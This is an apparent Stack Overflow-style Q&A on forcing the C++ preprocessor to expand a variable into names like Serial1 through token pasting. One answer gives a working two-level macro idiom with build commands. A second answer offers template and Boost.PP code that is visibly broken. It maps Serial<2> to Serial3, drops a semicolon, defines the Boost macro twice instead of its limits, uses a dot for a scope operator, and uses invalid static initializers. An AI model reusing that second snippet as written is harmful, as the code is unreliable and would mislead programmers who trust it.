C++ Force preprocessor to evaluate a number - c++

Question

I am writing a C++ program and I have predefined objects Serial1, Serial2, Serial3, etc. I need to make a function to operate on only one of them depending on a numeric input known at compile time. I use the concatenation macro #define SER(x) Serial##x but in my main if use SER(port).read() and port is an int equal to 1, expression expands to Serialport.read() instead of Serial1.read(). However, SER(1).read() gives the required result. How can I force the preprocessor to evaluate variable port and use its value in the expansion?
BTW, I don't know the class name of Serial1, Serial2, etc so I cannot design a workaround using pointers or references
EDIT: After seeing some answers, I need to add some clarification. I need to be able to use this function with all Serial1, Serial2, etc. by calling it multiple times in a SINGLE RUN of my code. Sorry for not making that clear before!

Answer 1

You need to use two levels of macros to accomplish what you are trying.
#define SER2(x) Serial##x
#define SER(x) SER2(x)
Here's a test program that demonstrates the concept.
#include <iostream>
#include <string>
struct Port
{
Port(std::string name) : name_(name) {}
void write()
{
std::cout << name_ << std::endl;
}
std::string name_;
};
Port Serial1("PORT1");
Port Serial2("PORT2");
#define SER2(x) Serial##x
#define SER(x) SER2(x)
int main()
{
SER(port).write();
}
Command to build:
g++ -std=c++11 -Wall socc.cc -o socc -Dport=1
Output:
PORT1
Command to build:
g++ -std=c++11 -Wall socc.cc -o socc -Dport=2
Output:
PORT2
Update
With the updated question, the only sensible approach is to use an array of objects and use the appropriate element of the array based on the run time data.

Answer 2

The fact that you don't know the type doesn't really matter: decltype(Serial1) will give that. Do you know whether they all have the same type? Because if they don't, no single C++ function can return them directly. And if they don't even have a common base class, it's even harder.
The template mechanism is more powerful than the preprocessor, so it makes sense to draft that:
template<int N> struct Serial { };
template<> struct Serial<1> { static decltype(Serial1)* const ptr = &Serial1 };
template<> struct Serial<2> { static decltype(Serial2)* const ptr = &Serial3 };
template<> struct Serial<3> { static decltype(Serial3)* const ptr = &Serial3 };
// You can now use Serial<8/2-2>.ptr->
Of course, writing out the template specializations is boring. So let's get Boost.PP :
#define BOOST_PP_LOCAL_MACRO (1, 7) // Assuming you have ports 1 to 7
#define BOOST_PP_LOCAL_MACRO(n) \
template<> struct Serial<n> { \
static decltype(BOOST_PP_CAT(Serial,n))* const ptr = &Serial##n; \
};
#include BOOST_PP_LOCAL_ITERATE()
Yes, that last line is a #include without quotes. And no, I'm not sure if this is an improvement ;)